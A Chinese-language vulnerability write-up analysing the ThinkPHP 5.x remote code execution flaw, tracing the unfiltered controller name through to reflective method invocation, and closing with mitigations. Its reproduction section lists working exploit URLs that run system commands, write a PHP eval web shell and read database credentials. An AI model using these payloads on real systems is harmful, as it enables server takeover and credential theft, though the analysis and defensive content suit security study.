ThinkPHP远程命令执行漏洞原理及复现
字数 1546 2025-08-18 11:39:19
ThinkPHP远程命令执行漏洞分析与复现指南
漏洞概述
ThinkPHP框架在5.0.5-5.0.23和5.1.0-5.1.31版本中存在远程命令执行漏洞,由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由的情况下可能被攻击者利用来执行任意代码。
影响版本
- ThinkPHP 5.1.0 - 5.1.31
- ThinkPHP 5.0.5 - 5.0.23
环境搭建
- 下载受影响版本的ThinkPHP框架:
- 官方下载地址:http://www.thinkphp.cn/donate/download/id/1125.html
- 解压到Web服务器目录(如Apache的/var/www/html/)
- 确保PHP环境正常运行
漏洞原理分析
关键代码路径
-
路由检测入口:
/thinkphp/library/think/App.php第120行- 通过
self::routerCheck函数进行路由检测 - 进入
$request->path()函数
- 通过
-
路径处理:
/thinkphp/library/think/Request.php- 第416行:进入
pathinfo()函数 - 第384行:
Config::get('var_pathinfo')获取配置参数(默认值为's') - 从GET参数中获取值并赋值给路由检测中的
$path
- 第416行:进入
-
路由解析:
/thinkphp/library/think/App.php第606行- 进行路由检测后进入else分支导入路由配置
- 检测路由url调度结果为
$result - 如果调度失败且开启了强制路由
$must,则报出路由无效 - 进入
Route::parseUrl函数,根据$path(自定义url)解析操作
-
URL解析:
/thinkphp/library/think/Route.php- 第1208行:进入
parseUrl函数 - 第1275行:
parseUrlPath函数将模块/控制器/操作的url地址分割成数组返回 - 第1217行:返回的结果赋值为
$path,提取路由信息封装到$route
- 第1208行:进入
-
执行流程:
/thinkphp/library/think/App.php第120行- 进入
self::exec函数 - 第445行:模块/控制器/操作的函数为
self::module - 第494行:
module函数根据配置判断模块部署方式 - 关键问题:
$controller没有进行充分过滤
- 进入
-
反射调用:
- 最终进入
self::invokeMethod函数(第329行) - 通过反射
ReflectionMethod获取对象方法 $args = self::bindParams($reflect, $vars)获取传入参数(即payload)$reflect->invokeArgs($args)执行反射调用,完成代码执行
- 最终进入
漏洞复现
基本利用方式
-
执行系统命令:
http://target-domain/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami- 将
whoami替换为任意系统命令(特殊字符需URL编码)
- 将
-
查看PHP信息:
http://target-domain/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1或
http://target-domain/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 -
写入Web Shell:
http://target-domain/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php- 写入一句话木马后可通过
snowwolf参数执行任意PHP代码
- 写入一句话木马后可通过
-
获取数据库信息:
http://target-domain/thinkphp/public//?s=.|think\config/get&name=database.username- 将
username改为password可获取数据库密码
- 将
防御措施
- 升级到ThinkPHP官方最新版本
- 开启强制路由配置:
// application/config.php 'url_route_must' => true, - 对控制器名进行严格过滤
- 禁用危险函数如
system、exec等 - 部署WAF防护
总结
该漏洞源于ThinkPHP框架对控制器名的过滤不严,结合反射机制实现了任意代码执行。攻击者可通过精心构造的URL直接执行系统命令或写入Web Shell,危害极大。建议受影响用户立即升级或采取防护措施。